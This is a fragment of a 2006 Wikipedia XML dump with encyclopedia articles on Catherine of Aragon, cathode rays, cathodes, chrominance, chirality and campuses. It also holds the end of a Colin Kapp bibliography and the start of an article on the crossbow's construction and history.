====Others ====
*''Survival Problem'' (1959) 
*''Breaking Point'' (1959) 
*''Lambda I'' (1962) 
*''The Night-Flame'' (1964) 
*''Hunger Over Sweet Waters'' (1965) 
*''The Imagination Trap'' (1967) 
*''Ambassador to Verdammt'' (1967) 
*''I Bring You Hands'' (1968) 
*''The Cloudbuilders'' (1968) 
*''The Teacher'' (1969) 
*''Gottlos'' (1969) 
*''Letter from an Unknown Genius'' (1971) 
*''Which Way Do I Go For Jericho?'' (1972) 
*''What the Thunder Said'' (1972) 
*''The Old King's Answers'' (1973) 
*''Crimescan'' (1973) 
*''War of the Wastelife'' (1974) 
*''Mephisto and the Ion Explorer'' (1974) 
*''Cassius and the Mind-Jaunt'' (1975) 
*''Something in the City'' (1984) 
*''An Alternative to Salt'' (1986) 

==External links==
*[http://web.archive.org/web/19991009162905/www.geocities.com/CapeCanaveral/7106/kapp.htm Biography] (archived)

*[http://jarl.errors.no/sf/kapp/ Bibliography] kept by [[Jarl Totland]]
*{{isfdb name|id=Colin_Kapp|name=Colin Kapp}}
*[http://www.scifan.com/writers/kk/KappColin.asp Bibliography] at [[SciFan]]

[[Category:1928 births|Kapp, Colin]]
[[Category:Living people|Kapp, Colin]]
[[Category:Science fiction writers|Kapp, Colin]]

[[pl:Colin Kapp]]</text>
    </revision>
  </page>
  <page>
    <title>Catherine of Aragon</title>
    <id>6942</id>
    <revision>
      <id>41694814</id>
      <timestamp>2006-03-01T02:48:40Z</timestamp>
      <contributor>
        <ip>70.108.221.15</ip>
      </contributor>
      <comment>/* Princess of Aragon and Castille */</comment>
      <text xml:space="preserve">[[Image:CatherineAragon.jpg|thumb|The recently-widowed young Catherine of Aragon, by [[Henry VII of England|Henry VII]]'s court painter, Michael Sittow, c. 1502]]
'''Catherine of Aragon''' ([[December 16]], [[1485]] &amp;ndash; [[January 7]], [[1536]]; [[Spanish language|Spanish]]: '''Catalina de Aragón''') was [[queen consort]] of [[England]] as [[Henry VIII of England]]'s first [[Wives of Henry VIII|wife]]. Henry [[Annulment|annulled]] his twenty-four year marriage to her after only one of their six children, [[Mary I of England|Mary I]], survived infancy.

==Princess of Aragon and Castille==
Born in [[Alcalá de Henares]], Catherine was the youngest surviving child of [[Ferdinand II of Aragon]] and [[Isabella of Castille|Isabella I of Castile]] and, as a third-great-granddaughter of [[Edward III of England]], a fourth cousin of both [[Henry VII of England|Henry VII]] and his wife [[Elizabeth of York]].

==Princess of Wales==
Catherine first married [[Arthur, Prince of Wales|Prince Arthur]], the oldest son of [[Henry VII of England]], in [[1501]]. As [[Prince of Wales]], Arthur was sent to [[Ludlow Castle]] on the borders of [[Wales]], to preside over the Council of Wales, and Catherine accompanied him.  A few months later, both of them fell prey to an infection which was sweeping the area.  Catherine herself nearly died; she recovered to find herself a [[widow]]. Catherine testified that, because of the couple's youth, the marriage had not been [[consummate]]d;  [[Pope Julius II]] then issued a dispensation, so that Catherine could become betrothed to Arthur's younger brother, the future [[Henry VIII of England|Henry VIII]].

==Queen consort of England==
{{Henryviiiwives}}
The marriage did not take place until after Henry VIII ascended the throne in [[1509]], the marriage on [[June 11]], followed by the coronation on [[June 24]], [[1509]]. Both as Princess of Wales and as Queen, Catherine was extremely popular with the people. She governed the nation as [[Regent]] while Henry invaded France in [[1513]].

Henry VIII supposedly married Catherine of Aragon at his father's dying wish and was happily-enough married to her, although not faithful, for 18 years, until he became seriously worried about getting a male heir to his throne as she approached [[menopause]]. Her first child was [[stillborn]] in [[1510]]. Prince [[Henry, Duke of Cornwall]] was born in [[1511]] but died after 52 days. Catherine then had a [[miscarriage]], followed by another short-lived son. On [[February 18]], [[1516]] at the [[Palace of Placentia]] in [[Greenwich, London]], she gave birth to a daughter named Mary (later Queen [[Mary I of England]]). There was another miscarriage in [[1518]]. A male [[heir]] was essential to Henry. The [[Tudor dynasty]] was new, and its legitimacy might still be tested. No queen had ever ruled England successfully in her own right. The disasters of [[civil war]]  were still fresh in living memory from the [[Wars of the Roses]] ([[1455]] &amp;ndash; [[1487]]).

[[Image:oldcath.JPG|left|frame|Catherine at the time Henry began his affair with Anne Boleyn]]

In [[1520]], Catherine's nephew [[Charles V, Holy Roman Emperor|Charles V]] paid a state visit to England, and the Queen urged the policy of gaining his alliance rather than that of [[France]]. Immediately after his departure, [[May 31]], [[1520]], she accompanied the king to France on the celebrated visit to [[Francis I of France|Francis I]], remembered (from the splendors of the occasion) as the [[Field of the Cloth of Gold]]. Within two years, however, war was declared against France and the Emperor once again made welcome in England, where plans were afoot to betroth him to Henry and Catherine's daughter Princess Mary.

Henry was keeping a succession of [[mistress]]es.  Catherine was not in physical condition to undergo further [[human pregnancy|pregnancies]]. The marriage was further soured by trouble made by Catherine's father, Ferdinand, over payments of her [[dowry]] and by a shift of allegiance on the part of Ferdinand, who signed a treaty with the French, to Henry's fury. Because of the lack of heirs, Henry began to believe that his marriage was cursed and sought confirmation from two verses of the biblical Book of [[Leviticus]], which said that, if a man marries his brother's wife, the couple will be childless.  He chose to believe that Catherine had lied when she said her marriage to Arthur had not been consummated, therefore making their marriage wrong in the eyes of God. He therefore asked [[Pope Clement VII]] to annul his marriage in [[1527]].

The Pope stalled on the issue for seven years without making a final judgement, partially because allowing an annulment would be admitting that the Church had been in error for allowing a special dispensation for marriage in the first place, and partially because he was a virtual prisoner of Catherine's nephew Charles V, who had conquered [[Rome]].  Henry separated from Catherine in [[July]] [[1531]], and secretly married one of Catherine's former [[lady-in-waiting|ladies-in-waiting]] (and sister of his former mistress [[Lady Mary Boleyn]]), [[Anne Boleyn]] in January [[1533]], a [[bigamy|bigamous]] marriage.  Henry finally had [[Thomas Cranmer]], [[archbishop of Canterbury]], annul the marriage himself on [[May 23]], 1533.  To forestall an appeal to [[Roman Catholic Church|Rome]], which Catherine would have almost certainly won, he had Parliament pass the [[Act of Supremacy]], repudiating Papal jurisdiction in England, making the king the head of the English church, and beginning the [[English Reformation]].

==Later years==
Catherine refused to acknowledge the divorce and took the issue to the law, but she lost and was forced to leave [[noble court|Court]]. She was separated from her daughter (who was declared [[illegitimate]]) and was sent to live in remote castles and in humble conditions, in the hope that she would surrender to the inevitable; but she never accepted the divorce and signed her last letter, &quot;Catherine the Queen&quot;.  By this time, she was aware that Henry's marriage to Anne was turning sour, and she had not ceased to hope that he might one day return to her.

Catherine died of a form of [[cancer]], at [[Kimbolton Castle]], on January 7, [[1536]] and was buried in [[Peterborough Cathedral]] with the ceremony due to a [[Princess of Wales|Princess Dowager of Wales]], not a Queen.  Henry and Anne Boleyn celebrated her death - Henry did not attend the funeral, nor did he allow Princess Mary to do so.

Visitors to Peterborough Cathedral can still visit Catherine's tomb, which is frequently decorated with flowers and bears the title 'Katherine the Queen'.

==Film, TV and fiction==
Catherine was first portrayed on the silver screen in 1911 by [[Violet Vanburgh]] in a production of William Shakespeare's play ''Henry VIII.'' Nine years later, the German actress [[Hedwig Pauly-Winterstein]] played Catherine in the film ''Anna Boleyn.'' Later, actress [[Rosalie Crutchley]] played Catherine in ''The Sword and the Rose'' an acount of [[Mary Tudor (queen consort of France)|Mary Tudor]]'s romance with the duke of Suffolk in 1515. Crutchley later played Henry's sixth queen [[Catherine Parr]] in ''[[The Six Wives of Henry VIII]].''

It was not until 1969, in [[Hal B. Wallis]]'s acclaimed movie ''[[Anne of the Thousand Days]]'' that Catherine appeared again. This time she was played by the Greek actress [[Irene Papas]]. A year later, in a 90-minute television drama produced by the [[BBC]], British actress [[Annette Crosbie]] played the most historically-accurate version of Catherine in a piece simply entitled ''Catherine of Aragon'' as part one in the channel's series ''[[The Six Wives of Henry VIII]]''. The drama began on the night Catherine arrived in England and followed through until her early marriage to Henry VIII. It re-commenced almost a decade later, with Henry's manoeuvres to get a divorce in order to marry Anne Boleyn. The play, which co-starred the Australian actor [[Keith Michell]] as Henry VIII, Dame [[Dorothy Tutin]] as Anne Boleyn and [[Patrick Troughton]] as the duke of Norfolk, then chronicled Catherine's life until her death in January 1536. Two years later [[Claire Bloom]] played Catherine in another adaptation of Shakespeare's play.

In 1973, in the movie ''Henry VIII and his Six Wives,'' [[Frances Cuka]] played Catherine and Keith Michell reprised his role as Henry VIII. A scene was incorporated between Ms. Cuka and [[Charlotte Rampling]] (playing Anne Boleyn) to show their quiet, glacial enmity.

It was not until 2001 that Catherine again appeared on the screen. This time it was in Dr. [[David Starkey]]'s documentary series on Henry's queens. She was portrayed by [[Annabelle Dowler]], with [[Julia Marsen]] as Anne Boleyn.

In 2003 Catherine appeared twice on British television. In January, Spanish actress [[Yolanda Vasquez]] made a brief appearance in the wildly-inaccurate ''The Other Boleyn Girl,'' opposite [[Jared Harris]] as Henry VIII and [[Natascha McElhone]] as [[Mary Boleyn]]. In October, the [[ITV]] 2-part television drama, ''Henry VIII'' starred [[Ray Winstone]] in the title role and [[Assumpta Serna]] as Queen Catherine. Part 1 chronicled the king's life from the birth of his [[illegitimacy|bastard]] son, [[Henry Fitzroy]] until the execution of Anne Boleyn (played by [[Helena Bonham Carter]]) in 1536. [[David Suchet]] co-starred as [[Cardinal Wolsey]].

Catherine's story appears in fiction: ''Katharine of Aragon'' by Jean Plaidy, a trilogy recently published under one volume. Also, for younger readers, Catherine's story is told in ''Patience, Princess Catherine'' by Carolyn Meyer. Released in 2005, also by Philippa Gregory (author of ''The Other Boleyn Girl'') ''The Constant Princess'', her take on Catherine's story.

==Historiography==
For centuries, Catherine had been revered by many as a saint-like figure. She became a symbolic representation of the wronged woman and was presented in an extremely favourable light. 

This view was first challenged in 1860 by historian [[G. A. Bergenroth]]. He had seen the Spanish royal archives, and believed that the universal praise of Catherine of Aragon needed &quot;to be more or less lowered.&quot; Bergenroth's research formed the basis of the work of modern British historian, Dr. David Starkey, whose recent book, ''Six Wives'' gives a full account of Catherine's talent for intrigue and less-than-perfect cultural awareness. [[Joanna Denny]] also takes a firmer line with Catherine than historians of previous generations, and criticised her savagely in her [[2004]] biography of Anne Boleyn. Catherine is described by Denny as &quot;arrogant, stubborn, even bloody-minded&quot;. Nevertheless, Catherine still has her ardent admirers; chief amongst them is the historian [[Alison Weir]], author of ''The Six Wives of Henry VIII'' and ''Henry VIII: King and Court''. Weir makes no mention of Bergenroth's findings. 

These revisionists were greeted with derision from Catherine's admirers. Starkey insisted that he had meant no disrespect and he argued that Catherine would have been both naïve and foolish to try and survive in the 1500s without employing espionage and political subterfuge. He believed that these tactics, which he highlighted in his book ''Six Wives'', are a tribute to Catherine's intelligence. Even so, those who insist upon seeing Catherine as a saint were outraged. The blame for Catherine's maltreatment has always been attributed to her successor, Anne Boleyn. Now a new generation of historians seem to be suggesting that neither Catherine nor Anne can be blamed; they both simply reacted to circumstances, and Catherine would have done the same to Anne if she had the opportunity. Another assessment, which was put forward by several authors, including the American feminist [[Karen Lindsey]], is that neither woman should be blamed, and that instead the true culprit for Catherine's misery in her final years was her husband, Henry. It was convenient for his contemporaries to blame Catherine's exile upon Anne instead. Historians today are trying to construct a more balanced portrait of all six of Henry's queens, including Catherine.

Despite being the first in a series of six wives of [[Henry VIII of England|Henry VIII]], she was married to him the longest and reigned as [[queen consort]] the longest of all six, having been married to Henry and been Queen of England for 24 years until Henry married Anne Boleyn. She was also Queen for more years than all of Henry's other wives put together.

{{Princesses of Wales}}

{{sequence|prev=---|list= [[Wives of Henry VIII]] |next=[[Anne Boleyn]]}}

==External links==
*[http://tudorhistory.org/aragon/ tudorhistory.org] - A good overview of Catherine's life, accompanied by an excellent portrait gallery
*[http://englishhistory.net/tudor/monarchs/aragon.html englishhistory.net] - An in-depth look at Catherine's life and times
*[http://tudorhistory.org/humor/ tudorhistory.org] - ''Tales from the Tudor Rose Bar'': a humorous look at the Tudor Royal Family

&lt;!--Categories--&gt;
[[Category:1485 births]]
[[Category:1536 deaths]]
[[Category:Spanish women]]
[[Category:Wives of Henry VIII]]
&lt;!--Interlanguage links--&gt;

[[ar:كاترين من أراغون]]
[[ca:Caterina d'Aragó]]
[[cy:Catrin o Aragon]]
[[da:Katharina af Aragonien]]
[[de:Katharina von Aragón]]
[[es:Catalina de Aragón]]
[[fr:Catherine d'Aragon]]
[[it:Caterina d'Aragona]]
[[he:קתרינה מאראגון]]
[[la:Catharina Aragonensis]]
[[nl:Catharina van Aragón]]
[[ja:キャサリン・オブ・アラゴン]]
[[pl:Katarzyna Aragońska]]
[[pt:Catarina de Aragão]]
[[simple:Catherine of Aragon]]
[[sk:Katarína Aragónska]]
[[sr:Катарина Арагонска]]
[[sv:Katarina av Aragonien]]</text>
    </revision>
  </page>
  <page>
    <title>Cathode ray</title>
    <id>6943</id>
    <revision>
      <id>38311490</id>
      <timestamp>2006-02-05T14:11:14Z</timestamp>
      <contributor>
        <ip>213.46.153.58</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:CrookesTube.png|thumb||250px|right|A schematic diagram of a [[Crookes tube]] apparatus. '''A''' is a low voltage power supply to heat cathode '''C'''. '''B''' is a high voltage power supply to energize the phosphor-coated anode '''P'''. Shadow mask '''M''' is connected to the cathode potential and its image is seen on the phosphor as an non-glowing area.]]
'''Cathode rays''' are streams of [[electron]]s observed in [[vacuum tube]]s, i.e. [[vacuum|evacuated]] glass tubes that are equipped with at least two [[electrode]]s, a [[cathode]] (negative electrode) and an [[anode]] (positive electrode) in a configuration known as a [[diode]].

When the cathode is heated, it emits some radiation which travels to the anode. If the inner glass walls behind the anode are coated with a [[phosphorescence|phosphorescent]] material, they glow. A metal shape placed between the electrodes casts a shadow on the glowing coating. This means that the cause of the light emission is rays emitted by the cathode and hitting the coating. They travel towards the anode in straight lines, and continue past it for some distance.

This phenomenon was studied in great detail by physicists toward the end of the [[19th century]], yielding a [[Nobel prize]] for [[Philipp von Lenard]]. Cathode rays were first produced by [[Geissler tube]]s. Special tubes were developed for the study of these rays by [[William Crookes]] and are called [[Crookes tube]]s. It was soon understood that cathode rays consist of the actual carriers of electricity which are now known as [[electron]]s. The fact that the rays are emitted by the cathode, i.e. the negative electrode, showed that electrons have negative [[charge]].

Cathode rays propagate in a straight line in the absence of external influences, but are deflected by [[electric field|electric]] or [[magnetic field]]s (which can be produced by placing [[High voltage|high-voltage]] electrodes or magnets outside the vacuum tube - this explains the effect of magnets on a TV screen). The refinement of this idea is the [[cathode ray tube]] (CRT), also known as ''Braun's tube'' (because it was invented [[1897]] by [[Ferdinand Braun]]). The CRT is key to [[television set]]s (though alternative display technologies are making inroads), [[oscilloscope]]s, and [[vidicon]] television cameras. 

[[Category:Television technology]]

[[de:Kathodenstrahlen]]
[[ja:陰極線]]
[[pt:Raio catódico]]

==External links==
*[http://members.chello.nl/~h.dijkstra19/page3.html The Cathode Ray Tube site]</text>
    </revision>
  </page>
  <page>
    <title>Cathode</title>
    <id>6944</id>
    <revision>
      <id>41524825</id>
      <timestamp>2006-02-27T23:06:03Z</timestamp>
      <contributor>
        <username>DV8 2XL</username>
        <id>146684</id>
      </contributor>
      <comment>revert</comment>
      <text xml:space="preserve">[[Image:Copper cathode.png|thumb|Diagram of a [[copper]] cathode in a [[galvanic cell|Daniell's cell]].]]  A '''cathode''' is the [[electrode]] at which [[electron|electrons]] go into a cell, tube or diode, whether driven externally or internally.  It comes from the [[Greek language|Greek]] word ''&amp;#954;&amp;#940;&amp;#952;&amp;#959;&amp;#948;&amp;#959;&amp;#962;'' meaning, 'going down'.  The other charged electrode in the same cell or device is the [[anode]].  


== Flow of electrons ==
The flow of electrons is '''always''' from '''''anode–to–cathode''''' '''outside''' of the cell or device, and from '''''cathode–to–anode''''' '''inside''' the cell or device, regardless of the cell or device type.  Inside a chemical cell, ions are carrying the electrons but the flow is still from '''''cathode–to–anode''''' '''inside''' the cell.

== Chemistry cathode ==
In [[chemistry]], a '''cathode''' is the [[electrode]] of an [[electrochemical cell]] at which [[Reduction (chemistry)|reduction]] occurs (electrons are added to cations to complete the valence shell or bond).  

=== Electrolytic cell ===
In an [[electrolytic cell]], the cathode is where the negative polarity is applied to drive the cell.  Common results of reduction at the cathode are hydrogen gas or pure metal from metal ions.

=== Galvanic cell ===
In a [[galvanic cell]], the cathode is where the positive [[polarity|pole]] is connected to allow the circuit to be completed: as the anode of the galvanic cell gives off electrons, they return from the circuit into the cell through the cathode.  

=== Electroplating metal cathode ===
When metal ions are reduced from ionic solution onto the cathode, they form a pure metal surface on the cathode.  Items to be plated with pure metal are attached to and become part of the cathode in the electrolytic solution.

== Electronics and physics cathode ==
In [[physics]] or [[electronics]], a '''cathode''' is an electrode that emits electrons into the device. 

=== Vacuum tubes ===
In a [[vacuum tube]] or other electronic vacuum system, the cathode emits free electrons. Electrons are extracted from metal electrodes either by heating the electrode, causing [[thermionic emission]],  or by applying a strong electric field and causing [[field emission]]. Electrons can also be emitted from the [[electrode]]s of certain metals when light of [[frequency]] greater than the threshold frequency falls on it. This is called [[photoelectric emission]].

=== Cold cathodes and hot cathodes ===
Cathodes used for [[field emission]] in vacuum tubes are called '''[[cold cathode]]s'''.  Heated electrodes or '''[[hot cathode]]s''', frequently called [[filaments]], are much more common.   Most radios and television sets prior to the 1970s used filament-heated-cathode electron tubes for signal selection and processing; to this day, a hot cathode forms the source of the electron beam(s) in [[cathode ray tubes]] in many television sets and computer monitors. Hot electron emitters are also are used as the electrodes in [[fluorescent lamps]].

=== Diodes ===
In a [[semiconductor device|semiconductor]] [[diode]], the cathode is the N–doped layer of the PN junction.  Initially, the N-doped layer supplies 'holes' to flow into the junction.  The holes given by the N-doped layer combine with [[electrons]] supplied from the P-doped layer.  The electrons and holes combining creates a 'depleted' zone at the junction, leaving behind in the cathode a layer of negative ions which gives a base negative charge to the cathode side of device (N-doped for negative charge carrier ions).  (The [[anode]] side has a base positive charge at this point, since it supplied electrons to the recombinant region and the doped ions are short of a full valence shell of electrons).  As a negative charge is applied to the cathode from the circuit external to the diode, more N-doped ions are able to supply 'holes' to the recombinant region and the diode becomes conductive, which allows electrons to flow though the diode from the cathode to the anode (electrons flow from N-doped to P-doped when the bias is overcome).  Unlike a typical diode,  there is no fixed anode or cathode in a zener diode.

== See also ==

*[[Anode]]
*[[Electrolytic cell]]
*[[Electrode]]
*[[Battery (electricity)|Battery]]
*[[Cathode ray tube]]
*[[Oxidation-reduction]]
*[[Electron tube]]
*[[Electrolysis]]

[[Category:Electrochemistry]]
[[Category:Electricity]]

[[cy:Cathod]]
[[da:Katode]]
[[de:Kathode]]
[[es:Cátodo]]
[[eo:Katodo]]
[[fr:Cathode]]
[[io:Katodo]]
[[it:Catodo]]
[[nl:Kathode]]
[[ja:カソード]]
[[pl:Katoda]]
[[pt:Cátodo]]
[[ru:Катод]]
[[sl:Katoda]]
[[sr:Катода]]
[[fi:Katodi]]
[[sv:Katod]]

==External links==
*[http://members.chello.nl/~h.dijkstra19 The Cathode Ray Tube site]</text>
    </revision>
  </page>
  <page>
    <title>Chrominance</title>
    <id>6945</id>
    <revision>
      <id>40751049</id>
      <timestamp>2006-02-22T20:00:20Z</timestamp>
      <contributor>
        <ip>86.125.11.60</ip>
      </contributor>
      <text xml:space="preserve">'''Chrominance''' (''chroma'' for short) comprises the two components of a [[television]] signal that encode color information. It defines the difference between a color and a chosen reference color of the same luminous intensity.

The idea of transmitting a color television signal as [[Luminance (video)|luminance]] and chrominance comes from [[Georges Valensi]], who patented it in [[1938]]. Previous color television systems tried to transmit [[RGB]] signals in different ways and were incompatible with monochrome receivers.

In [[analog television]], chrominance is encoded into a [[video]] signal using a special &quot;[[subcarrier]]&quot; frequency, which, depending on the standard, can be either [[quadrature amplitude modulation|quadrature-amplitude]] ([[NTSC]] and [[PAL]]) or [[frequency modulation|frequency]] ([[SECAM]]) modulated. In the [[PAL]] system, the color subcarrier is 4.43 MHz above the video carrier, while in the [[NTSC]] system it is 3.58 MHz above the video carrier. SECAM uses two different frequencies, 4.250 MHz and 4.40625 MHz above the video carrier.

The presence of chrominance in a video signal is signalled by a &quot;[[color burst]]&quot; signal transmitted on the &quot;[[front porch]],&quot; just after horizontal synchronization and before each line of video starts. If the color burst signal were to be made visible on a television screen, it would look like a vertical strip of a very dark olive color. In NTSC and PAL hue is represented by a phase shift in the chrominance signal within each video line relative to the color burst, while saturation is determined by the amplitude of the subcarrier. In SECAM (R-Y) and (B-Y) signals are transmitted alternatively and phase does not matter.

Chrominance is represented by the [[YUV|U-V]] color plane in a PAL and SECAM video signals, and by the [[YIQ|I-Q]] color plane in NTSC.

==See also==
*[[Luminance (video)]]

[[Category:Video and movie technology]]
[[de:Chrominanz]]
[[es:Crominancia]]
[[fr:Chrominance]]
[[pl:Chrominancja]]
[[sv:Krominans]]</text>
    </revision>
  </page>
  <page>
    <title>Chirality</title>
    <id>6946</id>
    <revision>
      <id>40834993</id>
      <timestamp>2006-02-23T08:34:05Z</timestamp>
      <contributor>
        <ip>129.194.8.73</ip>
      </contributor>
      <text xml:space="preserve">{{disambig}}

'''[[Chirality (manga)|Chirality]]''' is a [[manga]] by [[Satoshi Urushihara]]

'''Chirality''' ([[Greek language|Greek]] ''handedness'', derived from the [[word stem]] ''&amp;#967;&amp;#949;&amp;#953;&amp;#961;~, ch[e]ir~ - hand~'') is an asymmetry property important in several branches of science. An object or a system is called '''chiral''' if it differs from its [[mirror image]]. Such objects then come in two forms, which are mirror images of each other, and these pairs of mirror image objects are called '''enantiomorphs''' (Greek ''opposite forms'') or, when referring to molecules, '''enantiomers'''. A non-chiral object is called '''achiral''' (sometimes also '''amphichiral''').

Chirality is observed as:
* the [[chirality (mathematics)]] of mathematical objects.
* the [[chirality (physics)]] of some [[subatomic particle]]s.
* the chirality or [[optical isomerism]] in some [[molecule]]s in the study of [[chemistry]].
* the chirality of certain crystalline solids. Of the 230 existing [[space group]]s 65 are chiral. [[Sodium chlorate]] is an [[achiral]] ionic compound but crystallizes in a chiral P2&lt;sub&gt;1&lt;/sub&gt;3 space group. An example of an achiral organic compound forming chiral crystals is [[benzil]]. [[Racemic acid]] is the racemic form of tartaric acid forming a mixture of two enantiomorphic crystals each form consisting of one of the two enantiomers.
* the chirality of surfaces. Materials with bulk chirality can be cleaved exposing a chiral surface. Many other methods exist

==See also==
* [[Handedness]]
* [[Rigid body]]
* [[Symmetry]]

[[Category: Symmetry]]

[[de:Chiralität]]
[[es:Quiralidad]]
[[fr:Chiralité]]
[[ja:&amp;#12461;&amp;#12521;&amp;#12523;]]
[[pl:Chiralno&amp;#347;&amp;#263;]]
[[ru:&amp;#1061;&amp;#1080;&amp;#1088;&amp;#1072;&amp;#1083;&amp;#1100;&amp;#1085;&amp;#1086;&amp;#1089;&amp;#1090;&amp;#1100;]]</text>
    </revision>
  </page>
  <page>
    <title>Campus</title>
    <id>6947</id>
    <revision>
      <id>38307600</id>
      <timestamp>2006-02-05T13:20:42Z</timestamp>
      <contributor>
        <username>Tupsharru</username>
        <id>87321</id>
      </contributor>
      <comment>rm spamlink</comment>
      <text xml:space="preserve">[[Image:Vienna_Campus_II.JPG|thumb|350px|The [http://www.univie.ac.at/universitaetscampus/ Universitätscampus Wien], [[Austria]] ([[:Image:Vienna_Campus_II.JPG|details]])]]
'''Campus''' (plural: ''campi'') is [[Latin]] for &quot;field&quot; or &quot;open space&quot;. [[English language|English]] gets the words &quot;camp&quot; and &quot;campus&quot; from this origin. In English, the plural form ''campuses'' is commonly used.

The '''campus''' is the area in which a [[college]] or [[university]] and surrounding buildings are situated.  Usually a campus includes libraries, lecture halls, student residential areas and park-like settings.

The word first was adopted to describe a particular urban space at the College of New Jersey ([[Princeton University]]) during the early decades of the eighteenth century.  Other colleges later adopted the word to describe individual fields at their own institutions, but ''campus'' did not yet describe the whole university property. A school might have one space called a campus, one called a field, and another called a yard.  The meaning expanded to include the whole property during the twentieth century, with the old meaning persisting into the 1950s in some places.

Sometimes the land on which company office buildings, with the buildings, are called campuses as well, e.g. the [[Microsoft Campus]] in [[Redmond, Washington]], as are also [[hospital]]s with similar usage.

==Sources==
*&quot;[http://etcweb1.princeton.edu/CampusWWW/Companion/campus.html Campus]&quot;, from Alexander Leitch, ''A Princeton Companion'', Princeton University Press (1978).
*[http://www.dartmo.com/index.php?p=213 Dartmo: The Buildings of Dartmouth College]

==See also==
*[[Campus university]]
*[[Campus novel]]

[[Category:Colleges and universities]]

[[da:Campus]]
[[de:Campus]]
[[fr:Campus]]
[[he:קמפוס]]
[[nl:Campus]]
[[no:Campus]]
[[pt:Campus]]
[[fi:Kampus]]
[[sv:Campus]]
[[ja:キャンパス]]</text>
    </revision>
  </page>
  <page>
    <title>Crossbow</title>
    <id>6948</id>
    <revision>
      <id>42147320</id>
      <timestamp>2006-03-04T03:16:44Z</timestamp>
      <contributor>
        <username>Bryce</username>
        <id>29788</id>
      </contributor>
      <comment>fix minor vandalism</comment>
      <text xml:space="preserve">:''This article is about the weapon. For alternate uses, see [[Crossbow (disambiguation)]]'' 

A '''crossbow''' is a [[weapon]] that fires projectiles called [[crossbow bolts]] or [[quarrel]]s. Invented in China, the crossbow played a significant role in European medieval warfare and is still used today.

==Description==
A crossbow consists of a prod (similar in appearance to a [[Bow (weapon)|bow]]) mounted on a stock similar to a [[rifle]] stock, which has a mechanism to wind and shoot its bolts. These bolts are typically called [[quarrel]]s, and do not depend upon lift as [[arrow]]s do. The stock and trigger of hand-held firearms may have been copied from crossbows.

Crossbow bolts must be made to have consistent weights as the mechanical process of engaging a bolt forces a more uniform process than that of using a bow and arrow. This consistent performance was part of what made the crossbow historically a significant force in warfare.
[[Image:Croosbow.jpg|200px|right|Ancient Chinese Seige Crossbow]]

A crossbow contains a string which is held in place by a nut when the bolt is loaded and the cross bow is engaged (referred to as at ''full draw'').  Typically, the nut is at the end of the shelf (also called the bolt rest). 

The prod (&quot;bow&quot;) and stock of a crossbow were made of good hardwood, such as [[oak]] or hard [[maple]]. The central European bows were rather exotic as they were constructed of inlays as well as specialized woods. The prod (also called lath in England) is attached to the stock with [[hemp]] rope, [[linen]], [[whipcord]], or other strong cording. This cording is called the ''bridle'' of the crossbow. Much as a horse's [[bridle]], it tends to loosen over time, and must be carefully respliced when appropriate. The prod is very short compared to bows, thus resulting in a short draw length. This makes crossbows inefficient at storing energy, which is why they must have very heavy draw weights. The draw weight of a modern crossbow can be up to 300lbs.

The crossbow shelf is a flat section above the stock with a straight groove for the bolt to rest upon and travel along as it is shot. 

The strings for a crossbow are typically made of strong fibers that would not tend to fray. According to W. F. Patternson, whipcord was very common; however linen, hemp, and [[Tendon|sinew]] were used as well. Even [[cotton]] was tried with some success.  In wet, twisted [[mulberry]] root was occasionally used. 

The crossbow also includes a [[trigger]], which was later incorporated into rifles, [[musket]]s and other [[firearm]]s. Triggers are known to have been used on crossbows from the early 1400s. [[Leonardo da Vinci]] designed many complicated triggers for crossbows, ultimately producing a &quot;hair trigger&quot; that could be shot with very little finger strength.

Crossbow bolts are lighter than arrows, but must be sealed with a [[varnish]] to ensure their consistent weight. They also typically only have two [[fletching|fletch]]es per bolt instead of three commonly seen on arrows. This prevents them from snagging on the crossbow nut as they are shot.

==History==
[[Image:ChineseCrossbow.JPG|thumb|200px|Remains of an ancient Chinese crossbow, [[2nd century BCE]].]]
According to [[Guinness World Records]](2004), the earliest reliable record of croessbow usage is in the Battle of Ma-Ling, Lingyi, China at 341 BC. By the 200s BC, the crossbow (nǔ, &amp;#24361;) was well developed and quite widely used in [[China]]{{ref|CC}}. Crossbows have been found among the soldiers of the [[Terracotta Army]] in the tomb of emperor [[Qin Shi Huang]] (260-210 BCE) {{ref|Terracotta}}. 

One of the most distinctive Chinese inventions on crossbows was the [[repeating crossbow]] (Chu-ko-nu), invented in [[2nd Century]] AD which was used as late as [[First Sino-Japanese War|China-Japan war]] of [[1894]]-[[1895]] by [[Manchurian]] troops. [[Roman Empire|Roman]] bows
were produced 600 years later appeared to be nothing more than rough hewn slabs of wood.

The prod of a crossbow was made of wood or composite materials until the middle of the [[15th century]]. The advantage of a simple wooden prod is that the bow as a whole was lighter in weight, easier to span (even by hand), and quicker to discharge. Composite prods were made of horn, [[sinew]] and wood, and produced much larger draw forces. The draw force is the tension that the string is under when the bow is engaged. Since the draw force can be much more than a soldier might be able to pull, these crossbows generally include a [[winch]] device to cock them. It is the high launch force of a crossbow that made it a formidable weapon in warfare. Since composite prods involved gluing material together which would have to withstand a great deal of stress, a slow drying time was essential. The strongest glues naturally took longer to dry. It was not uncommon for six months up to a year to be spent in ensuring a bow was dried properly.

In the later [[15th century|1400s]], [[steel]] manufacturing advanced significantly, and was more commonly used in spring production. A crossbow prod was made out of spring steel, steel prods being very common by the early [[16th century|1500s]] as their performance was more uniform, except in very cold weather. About [[1400]] the use of the crossbow changed, with the butt end of the stock being placed on the shoulder for accuracy. By [[1650]], the cross bow looked like it had a rifle stock, and was used in a similar way (what you see on a rifle has probably already been done on a crossbow). Makers of crossbows (arbalistmeisters) were making quite beautiful crossbow stocks by [[1600]]. Some Belgian designs were as polished as those of modern [[Olympic Games|Olympic]] rifles.


===Use===
&lt;gallery&gt;
Image:Armborst 1, Nordisk familjebok.png|Pull [[lever]]
Image:Armborst 2, Nordisk familjebok.png|Push [[lever]]
Image:Armborst 3, Nordisk familjebok.png|[[Ratchet (device)|Ratchet]]
Image:Armborst 4, Nordisk familjebok.png|[[Windlass]]
&lt;/gallery&gt;

